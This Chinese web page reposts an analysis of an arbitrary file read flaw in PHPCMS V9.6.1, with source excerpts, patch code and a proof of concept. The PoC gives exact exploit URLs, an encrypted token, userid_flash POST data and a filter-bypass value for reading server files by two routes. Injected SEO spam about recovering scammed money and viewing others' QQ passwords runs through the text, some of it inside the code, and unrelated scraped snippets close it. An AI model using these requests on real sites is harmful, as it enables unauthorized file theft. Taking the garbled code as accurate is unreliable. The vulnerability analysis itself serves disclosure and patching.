一键查询他人qq密码网页页面-PHPCMS V9.6.1 任意文档读取漏洞剖析(含PoC,现有补丁下载)
PHPCMS于今日(17年5月3日)中午已公布9.6.2版本修复了该漏洞。PHPCMS V9.6.1是前不久PHPCMS官方网于4月12号发布的版本,修复了4月下旬公布的2个高风险漏洞,一个前台接待申请注册插口的Getshell,此外一个是down控制模块的SQL注入漏洞:
PHPCMS V9.6.1 版本信息内容:
因为任意文档读取漏洞与down控制模块的SQL注入的难题出現在同一个类,那麼先来回望SQL注入的修复 *** :
修复 *** 很基本的,将以前忽视的整形id主要参数给intval起来了,话说phpcms修复漏洞 *** 全是简单直接,哪有漏洞补哪儿。
因为漏洞出現在PHPCMS V9.6.1里面编码里边(9.6.0及其以前的版本不会有),因此 官方网在修复了前边2个高风险后再出了V9.6.1,查验了一下SQL注入与getshell漏洞的修复 *** 后就不去再细心跟新版本的编码,直至外部释放了响声后就细心跟踪了。
漏洞技术指标分析
漏洞叙述
漏洞伤害:读取系统软件任意文档
危害版本:Phpcms V9.6.1 Release *** 黑客讨回上当受骗的钱图片 20170412
官方网补丁下载:已公布(敬请见下文修复计划方案)
漏洞诱因
本次的任意文档读取漏洞也出現在down类中,之前的sql注入也是这儿的坑,因此 应当叫再次剖析吧,先看来漏洞开启点:
/phpcms/modules/content/down.php Line 103-127
*** 黑客讨回上当受骗的钱图片 1
2
3
4
5
6
7
8
9
10
11
12
13
*** 黑客讨回上当受骗的钱图片 14
15
16
17
18
19
20
21
22
23
24
25
*** 黑客讨回上当受骗的钱图片 if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\\.|$)/i',$f) || strpos($f, ":\\\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));
*** 黑客讨回上当受骗的钱图片 $fileurl = trim($f);
if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3} *** 黑客讨回上当受骗的钱图片\\.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L('illegal_parameters'));
$endtime = SYS_TIME - $starttime;
*** 黑客讨回上当受骗的钱图片 if($endtime > 3600) showmessage(L('url_invalid'));
if($m) $fileurl = trim($s).trim($fileurl);
*** 黑客讨回上当受骗的钱图片 if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\\.|$)/i',$fileurl) ) showmessage(L('url_error'));
//远程控制文档
*** 黑客讨回上当受骗的钱图片 if(strpos($fileurl, ':/') && (strpos($fileurl, pc_base::load_config('system','upload_url')) === false)) {
header("Location: $fileurl");
*** 黑客讨回上当受骗的钱图片} else {
if($d == 0) {
*** 黑客讨回上当受骗的钱图片 header("Location: ".$fileurl);
} else {
*** 黑客讨回上当受骗的钱图片 $fileurl = str_replace(array(pc_base::load_config('system','upload_url'),'/'), array(pc_base::load_config('system','upload_path'),DIRECTORY_SEPARATOR), $fileurl);
$filename = basename($fileurl);
*** 黑客讨回上当受骗的钱图片 //解决汉语文档
*** 黑客讨回上当受骗的钱图片 if(preg_match("/^([\\s\\S]*?)([\\x81-\\xfe][\\x40-\\xfe])([\\s\\S]*?)/", $fileurl)) {
$filename = str_replace(array("\\", "/", ":"), array("\\\\", "/", ":"), urlencode($fileurl));
*** 黑客讨回上当受骗的钱图片 ; $filename = urldecode(basename($filename));
黑客追回被骗的钱图片 }
$ext =黑客追回被骗的钱图片 fileext($filename);
$filename = date('Ymd_his').random(3).'.'.$ext;
&黑客追回被骗的钱图片nbsp; $fileurl = str_replace(array('<','>'), '',$fileurl);
file_down($fileurl, $filename);
最后一行有file_down函数,跟进去看一下:phpcms/libs/functions/global.fun.php 黑客追回被骗的钱图片 Line 1187-1204
1
2
3
4
5
6
7
8
9
10
黑客追回被骗的钱图片 11
12
13
14
15
16
17
18
function file_down($filepath, $filename = '') {
黑客追回被骗的钱图片 if(!$filename) $filename = basename($filepath);
if(is_ie()) $filename = rawurlencode($filename);
$filetype = fileext($filename);
黑客追回被骗的钱图片 $filesize = sprintf("%u", filesize($filepath));
if(ob_get_length() !== false) @ob_end_clean();
header('Pragma: public');
黑客追回被骗的钱图片 header('Last-Modified: '.gmdate('D, d M Y H:i:s') . ' GMT');
header('Cache-Control: no-store, no-cache, must-revalidate');
黑客追回被骗的钱图片 header('Cache-Control: pre-check=0, post-check=0, max-age=0');
header('Content-Transfer-Encoding: binary');
header('Content-Encoding: none');
黑客追回被骗的钱图片 header('Content-type: '.$filetype);
header('Content-Disposition: attachment; filename="'.$filename.'"');
header('Content-length: '.$filesize);
黑客追回被骗的钱图片 readfile($filepath);
exit;
}
就一个普通的文件下载 *** ,当$fileurl传入后会去下载指定文件,再回到down.php文件中,在执行file_down前是走了几次判断:
(1)首先从头到尾判断$f参数中是否有php等服务端脚本文件,再看看是否带有”:\\”外链文件,是否”..”目录跳转,满足其中一个条件就返回黑客追回被骗的钱图片True。
1
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));
黑客追回被骗的钱图片满足后执行show message抛出错误信息,虽然没有exit结束程序,但是咱们的file_down是在二级if分支的else里面的,无法执行到目标函数。
(2)接着$f的值赋给了$fileurl参数,再做了一次内容判断。
1
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl) ) showmessage(L('url_error'));
(3)将$s与$fileurl拼接起来,而$fileurl就是前面可控的$f:
黑客追回被骗的钱图片 1
if($m) $fileurl = trim($s).trim($fileurl);
(4)处理远程文件,如果是外链文件的话直接跳转到目标地址。
1
黑客追回被骗的钱图片 2
3
if(strpos($fileurl, ':/') && (strpos($fileurl, pc_base::load_config('system','upload_url')) === false)) {
header("Location: $fileurl");
黑客追回被骗的钱图片 }
接着走到else分支里面的str_replace,将$fileurl参数中的所有”>”、”<“参数替换为空值,这也是出现问题的函数,前面的后缀/目录跳转判断均可以绕过,可以发现需要控制的参数有 $s、$f,这俩参数在init函数中传进来的:
/phpcms/modules/content/down.php Line 76-84
1
黑客追回被骗的钱图片 2
3
4
5
6
7
8
9
黑客追回被骗的钱图片 if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));
if(strpos($f, 'http://') !== FALSE 黑客追回被骗的钱图片|| strpos($f, 'ftp://') !== FALSE || strpos($f, '://') === FALSE) {
$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
黑客追回被骗的钱图片 $a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE', $pc_auth_key));
黑客追回被骗的钱图片 $downurl = '?m=content&c=down&a=download&a_k='.$a_k;
} else {
黑客追回被骗的钱图片 $downurl = $f;
}
黑客追回被骗的钱图片 include template('content','download');
这一块其实是down->init()的内容,将参数传到$a_k并进行sys_auth加密,然后传给了下面的download函数,这里的$a_k已经进行了encode加密操作:
init函数与download函数中的$a_k变量保持加/解密钥的一致性:
1
2黑客追回被骗的钱图片
3
4
5
6
7
8
9
if(strpos($f, 'http://') !== FALSE || strpos($f, 'ftp://') !== FALSE || strpos($f, '://') === FALSE) {
黑客追回被骗的钱图片 $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
黑客追回被骗的钱图片 $a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE', $pc_auth_key));
黑客追回被骗的钱图片 …
…
public function download() {
$a_k = trim($_GET['a_k']);
黑客追回被骗的钱图片 $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
$a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);
密钥key:
1
黑客追回被骗的钱图片 $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
再往下跟进:
1
2
3
4
5
6
黑客追回被骗的钱图片 7
8
9
10
11
12
13
14
15
16
public function download() {
黑客追回被骗的钱图片 $a_k = trim($_GET['a_k']);
$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
黑客追回被骗的钱图片 $a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);
if(empty($a_k)) showmessage(L('illegal_parameters'));
unset($黑客追回被骗的钱图片i,$m,$f,$t,$ip);
$a_k = safe_replace($a_k);
parse_str($a_k);
&黑客追回被骗的钱图片nbsp; if(isset($i)) $downid = intval($i);
if(!isset($m)) showmessage(L('illegal_parameters'));
if(!isset($modelid)黑客追回被骗的钱图片) showmessage(L('illegal_parameters'));
if(empty($f)) showmessage(L('url_invalid'));
if(!$i || $m<0) showmessage(L('illegal_parameters'));
黑客追回被骗的钱图片 if(!isset($t)) showmessage(L('illegal_parameters'));
if(!isset($ip)) showmessage(L('illegal_parameters'));
黑客追回被骗的钱图片 $starttime = intval($t);
变量s和f来源于变量a_k带入parse_str解析,注意a_k在down->init()中经过safe_replace处理过一次,经过sys_auth解密,key无法获取,所以需要让系统来为我们生成加密串a_k:
/phpcms/modules/content/down.php Line 11-18
1
黑客追回被骗的钱图片2
3
4
5
6
7
8
public function init() {
$a_k = trim($_GET['a_k']);
黑客追回被骗的钱图片 if(!isset($a_k)) showmessage(L('illegal_parameters'));
$a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
黑客追回被骗的钱图片 if(empty($a_k)) showmessage(L('illegal_parameters'));
unset($i,$m,$f);
黑客追回被骗的钱图片 $a_k = safe_replace($a_k);
parse_str($a_k);
可以看出这里跟上次的sql注入点一样,获取了a_k进行了一次DECODE,那么咱们就需要一个加密好的key,更好的办法还是采用attachments模块的swfupload_json的加密cookie *** (跟之前的注入payload加密一个套路),这也是采用了phpcms功能的特性吧:
/phpcms/modules/attachment/attachments.php 黑客追回被骗的钱图片 LINE 239-253
1
2
3
4
5
6
7
8
9
10
黑客追回被骗的钱图片 11
12
13
14
15
16
17
18
public function swfupload_json() {
$arr['aid'] = intval($_GET['aid']);
黑客追回被骗的钱图片 $arr['src'] = safe_replace(trim($_GET['src']));
$arr['filename'] = urlencode(safe_replace($_GET['filename']));
$json_黑客追回被骗的钱图片str = json_encode($arr);
$att_arr_exist = param::get_cookie('att_json');
$att_arr_exist_tmp = explode('||', $att_arr_exist);
黑客追回被骗的钱图片 if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {
return true;
黑客追回被骗的钱图片 } else {
$json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;
黑客追回被骗的钱图片 param::set_cookie('att_json',$json_str);
return true;
黑客追回被骗的钱图片 }
}
注意了这里也有一次safe_replace,加密函数在:param::set_cookie('att_json',$json_str);,跟进一下:
/phpcms/libs/classes/param.class.php LINE 86-99
黑客追回被骗的钱图片 1
2
3
4
5
6
7
8
9
10
11
12
13
14
黑客追回被骗的钱图片public static function set_cookie($var, $value = '', $time = 0) {
$time = $time > 0 ? $time :黑客追回被骗的钱图片 ($value == '' ? SYS_TIME - 3600 : 0);
$s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0;
黑客追回被骗的钱图片 $httponly = $var=='userid'||$var=='auth'?true:false;
$var = pc_base::load_config('system','cookie_pre').$var;
$_COOKIE[$var] = $value;
黑客追回被骗的钱图片 if (is_array($value)) {
foreach($value as $k=>$v) {
黑客追回被骗的钱图片 setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s, $httponly);
黑客追回被骗的钱图片}
} else {
setcookie($var, sys_黑客追回被骗的钱图片auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s, $httponly);
}
}
黑客追回被骗的钱图片sys_auth($value, 'ENCODE')即是利用了phpcms内置的加密函数进行数据加密,结果正好是咱们需要的,再看看attachments.php中是否有相关权限的验证:
构造 *** :
/phpcms/modules/attachment/attachments.php LINE 10-24
1
2
3
4
黑客追回被骗的钱图片 5
6
7
8
9
10
11
12
13
14
15
16
class attachments {
黑客追回被骗的钱图片 private $att_db;
function __construct() {
pc_base::load_app_func('global');
黑客追回被骗的钱图片 $this->upload_url = pc_base::load_config('system','upload_url');
$this->upload_path = pc_base::load_config('system','upload_path');
黑客追回被骗的钱图片 $this->imgext = array('jpg','gif','png','bmp','jpeg');
$this->userid = $_SESSION['userid'] ? $_SESSION['userid']&黑客追回被骗的钱图片nbsp;: (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));
$this->isadmin = $this->admin_username = $_SESSION['roleid'黑客追回被骗的钱图片] ? 1 : 0;
$this->groupid = param::get_cookie('_groupid') ? param::get_cookie('_groupid') : 8;
//判断是否登录
if(empty($this->userid)){
showmessage(L('please_login','','member'));
}
黑客追回被骗的钱图片 }
$this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'))黑客追回被骗的钱图片;
从这里的userid来看是需要普通用户的权限
1
2
3
if(empty($this->userid)){
黑客追回被骗的钱图片 showmessage(L('please_login','','member'));
}
但是也可以传进加密后的userid_flash参数:sys_auth($_POST['userid_flash'],'DECODE')); 黑客追回被骗的钱图片 那么这里有两种利用方案,一种是直接通过phpcms会员中心登录获取的cookie中的userid做权限判断,还有一种方式是通过现成的经过sys_auth加密后的字符串去赋值给当前的userid,这里找到了一处,是利用了wap模块的构造 *** :
/phpcms/modules/wap/index.php
1
2
3
4
5
6
7
8
黑客追回被骗的钱图片 9
10
11
class index {
function __construct() {
黑客追回被骗的钱图片 $this->db = pc_base::load_model('content_model');
$this->siteid = isset($_GET['siteid']) && (intval($_GET['siteid']) > 0) ? intval(trim($_GET['siteid'])) :黑客追回被骗的钱图片 (param::get_cookie('siteid') ? param::get_cookie('siteid') : 1);
param::set_cookie('siteid',$this->siteid);
黑客追回被骗的钱图片 $this->wap_site = getcache('wap_site','wap');
$this->types = getcache('wap_type','wap');
$this->wap = $this->wap_site[$this->siteid];
黑客追回被骗的钱图片 define('WAP_SITEURL', $this->wap['domain'] ? $this->wap['domain'].'index.php?' : APP_PATH.'index.php?m=wap&siteid='.$this->siteid);
黑客追回被骗的钱图片 if($this->wap['status']!=1) exit(L('wap_close_status'));
}
set_cookie跟进去就是调用sys_auth 加密函数来加密外部获取的sited值,将这里的siteid值再带入上面的userid_flash即可。
接着再返回去看这两个可控参数:s=$s、f=$f,$s带需要读取的目标文件,$f带自己构黑客追回被骗的钱图片造的绕过规则检测值:
1
$a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE’, $pc_auth_key));
黑客追回被骗的钱图片经过反复测试,可以采用如下参数,这里以读取down.php文件源码为例:
1
s=./phpcms/modules/content/down.ph&f=p%3%25252%2*70C
解释一下这里的参数,s参数带的是要读取的down.php的源码文件,最后的p是由f参数的之一个字符p拼接过去的:
1
2
黑客追回被骗的钱图片 3
4
5
6
$fileurl = trim($f);
黑客追回被骗的钱图片 if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L('illegal_parameters'));
黑客追回被骗的钱图片 $endtime = SYS_TIME - $starttime;
if($endtime > 3600) showmessage(L('url_invalid'));
if(黑客追回被骗的钱图片$m) $fileurl = trim($s).trim($fileurl);
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl) ) showmessage(L('url_error'));
f=p%3黑客追回被骗的钱图片%25252%2*70C : f参数是绕过正则匹配检查的关键,最后咱们要构造这样的形式:./phpcms/modules/content/down.php<,这样就能绕过所有匹配检测在最后的str_replace将”<“给替换为空,紧接着就能带入读取文件了。
再看看分析过程中遇到的phpcms安全函数safe_replace:
/phpcms/libs/functions/global.func.php
1
黑客追回被骗的钱图片 2
3
4
5
6
7
8
9
10
11
12
13
14
15
黑客追回被骗的钱图片 16
function safe_replace($string) {
$string = str_replace('%20','',$string);
$string = str_replace('%27','',$string);
黑客追回被骗的钱图片 $string = str_replace('%2527','',$string);
$string = str_replace('*','',$string);
$string = str_replace('"','"',$string);
黑客追回被骗的钱图片 $string = str_replace("'",'',$string);
$string = str_replace('"','',$string);
$string = str_replace(';','',$string);
黑客追回被骗的钱图片 $string = str_replace('<','<',$string);
$string = str_replace('>','>',$string);
$string = str_replace("{",'',$string);
$string = str_replace('}','',$string);
$string = str_replace('\\','',$string);
return $string;
}
从过滤内容来看直接黑客追回被骗的钱图片带”<“是不行的,需要构造参数,先来看看经过了几次过滤:
之一次参数得经过attachments->swfupload_json函数进行param::set_cookie加密:
最后输出的f=p%3C 就是咱们想要的”<“字符。
漏洞利用
方案一:
登录普通用户,黑客追回被骗的钱图片访问链接:
1
http://localhost/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26i%3D1%26m%3D1%26d%3D1%26modelid%3D2%26catid%3D6%26s%3D./phpcms/modules/content/down.ph&f=p%3%25252%2*70C
获取分配的att_json
将这段json值带入到down类的init函黑客追回被骗的钱图片数中去:
1
http://localhost/index.php?m=content&c=down&a=init&a_k=013ceMuDOmbKROPvvdV0SvY95fzhHTfURBCK4CSbrnbVp0HQOGXTxiHdRp2jM-onG9vE0g5SKVcO_ASqdLoOSsBvN7nFFopz3oZSTo2P7b6N_UB037kehz2lj12lFGtTsPETp-a0mAHXgyjn-tN7cw4黑客追回被骗的钱图片nZdk10Mr2g5NM_x215AeqpOF6_mIF7NsXvWiZl35EmQ
点击下载后即可下载目标文件:
方案二:
在未登录的情况下访问:
1
http://localhost/index.php?m=wap&c=index&a=init&siteid=1
获取当前的siteid
再访问:
黑客追回被骗的钱图片 1
2
http://localhost/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26i%3D1%26m%3D1%26d%3D1%26modelid%3D2%26catid%3D6%26s%3D./phpcms/modules/content/down.ph&f=p%3%25252%2*70C
POST_DATA:userid_黑客追回被骗的钱图片flash=14e0uml6m504Lbwsd0mKpCe0EocnqxTnbfm4PPLW
修复方案
官方以及出了最新的补丁,补丁分析如下:
针对PHPCMS最新版本的特性,主要是因为down类中download *** 在进入黑客追回被骗的钱图片file_down函数前有如下代码:
1
$fileurl = str_replace(array('<','>'), '',$fileurl);
这样在前面就可以将”<“或”>”带入到download中的f参数中绕过正则匹配,所以修复方式就是可以在进行了str_replace后再正则匹配一下$fileurl参数的内容最后放入file_down函数中执行:
1
2
3
4
5
6
7
8
9
10
11
12
13
黑客追回被骗的钱图片 14
$fileurl = str_replace(array(pc_base::load_config('system','upload_url'),'/'), array(pc_base::load_config('system','upload_path'),DIRECTORY_SEPARATOR), $fileurl);
&黑客追回被骗的钱图片nbsp; $filename = basename($fileurl);
//处理中文文件
黑客追回被骗的钱图片 if(preg_match("/^([\s\S]*?)([\x81-\xfe][\x40-\xfe])([\s\S]*?)/", $fileurl)) {
黑客追回被骗的钱图片 $filename = str_replace(array("%5C", "%2F", "%3A"), array("\\", "/", ":"), urlencode($fileurl));
$filename = urldecode(basename($filename));
黑客追回被骗的钱图片 }
&黑客追回被骗的钱图片nbsp; $ext = fileext($filename);
$filename = date('Ymd_his').random(3).'.'.$ext;
黑客追回被骗的钱图片 $fileurl = str_replace(array('<','>'), '',$fileurl);
黑客追回被骗的钱图片 if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl) || strpos($fileurl, ":\\")!==FALSE || strpos($fileurl,'..')!==FALSE) {
黑客追回被骗的钱图片 showmessage(L('url_error'));
}
file_down($fileurl, $filename);
1. 升级至V9.6.2官方最新版:
GBK:http://download.phpcms.cn/v9/9.6/phpcms_v9.6.2_GBK.zip
UTF-8:http://download.phpcms.cn/v9/9.6/phpcms_v9.6.2_UTF8.zip
升级 ***
*** 一:在线升级 步骤:登录后台-扩展-在线升级
*** 二:手动升级(有二次开发并有改动默认程序)
[GBK补丁列表]
黑客追回被骗的钱图片[UTF-8补丁列表]
2. 个人修复建议(适用于有二次开发并改动默认程序的网站管理者):
针对PHPCMS最新版本的特性,主要是因为down类中download *** 在进入file_down函数前有如下代码:
1
黑客追回被骗的钱图片 $fileurl = str_replace(array('<','>'), '',$fileurl);
这样在前面就可以将”<“或”>”带入到download中的f参数中绕过正则匹配,所以修复方式就是可以在进行了str_replace后再正则匹配一下$fileurl参数的内容最后放入file_down函数中执行:
1
2
3
黑客追回被骗的钱图片4
5
6
7
8
9
10
11
12
13
14
黑客追回被骗的钱图片 $fileurl = str_replace(array(pc_base::load_config('system','upload_url'),'/'), array(pc_base::load_config('system','upload_path'),DIRECTORY_SEPARATOR), $fileurl);
$filename = basename($fileurl);
黑客追回被骗的钱图片 //处理中文文件
if(preg_match("/^([\s\S]*?)([\x81-\黑客追回被骗的钱图片xfe][\x40-\xfe])([\s\S]*?)/", $fileurl)) {
$filename = str_replace(array("%5C", "%2F", "%3A&黑客追回被骗的钱图片quot;), array("\\", "/", ":"), urlencode($fileurl));
$filename = urldecode(basename($filename));
黑客追回被骗的钱图片 }
$ext = fileext($filename);
黑客追回被骗的钱图片 $filename = date('Ymd_his').random(3).'.'.$ext;
$fileurl = str_replace(array('<','>'), '',$fileurl);
黑客追回被骗的钱图片 if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl) || strpos($fileurl, ":\\")!==FALSE || strpos($fileurl,'..')!==FALSE) {
黑客追回被骗的钱图片 showmessage(L('url_error'));
黑客追回被骗的钱图片 }
file_down($fileurl, $filename);
总结
其实漏洞的核心在于外部参数可以被引入”<“或”>”来污染正常的参数来绕过代码里面的正则匹配,然后在执行文件读取之前被意外的清理了外部带入的污染参数&黑客追回被骗的钱图片rdquo;<“或”>”,漏洞利用得也是如此恰到好处,这也说明了在开发中进行参数过滤的同时是否将恶意参数完全阻挡在了敏感函数执行之前,使之进入敏感函数的参数完全是合法的,这也是开发过程中需要考虑的。
。新手看《黑客防线》入门的看《黑客X档案》去电驴看看吧,我曾在电驴里边见到过这种教程。一键查看别人qq密码网页
*** 上如何找黑客我是谁:没有绝对安全的系统WhoAmI-KeinSystemistsicher(2014)导演:BaranboOdar编剧:JantjeFriese/BaranboOdar主演黑客追回被骗的钱图片:汤姆。
一键查看别人qq密码网页首先要介绍的是作为一名初级黑客所必须掌握的基本技能,学习这可以通过这一节的阅读了解到黑客并不神秘,而且学习起来很容易上手。为了保证初学者对黑客的。
VR技术是不会向那个方向发展的,因为往大脑里植入电极有一定的风险,比如被 *** 入侵等。而且黑客帝国电影里面的设定是机器人统治了人类并且把人类当作了电池,
楼主我跟你一样也被威胁了,昨天她加的是LOL好友,我一不小心聊到我同学喷我的事情,我叫他不要告诉,她非要弄清楚,她还。一键查看别人qq密码网页
顶尖黑客和普通黑客用的办法差不多。都是先从简单的 *** 入手黑客追回被骗的钱图片,之后才会考虑更复杂的 *** 。对网站的入侵思路有很多。以前注入漏洞多的时候典型的方式是先。
一键查看别人qq密码网页超级电脑。超级黑客。天擎。黑客传说。禁区之门。首席黑客。原始动力。指间的黑客。巅峰黑客。颠峰黑客。黑客江湖、、、够了吧?
标签:
版权声明
本文仅代表作者观点,不代表本站立场。
本文系作者授权发表,未经许可,不得转载。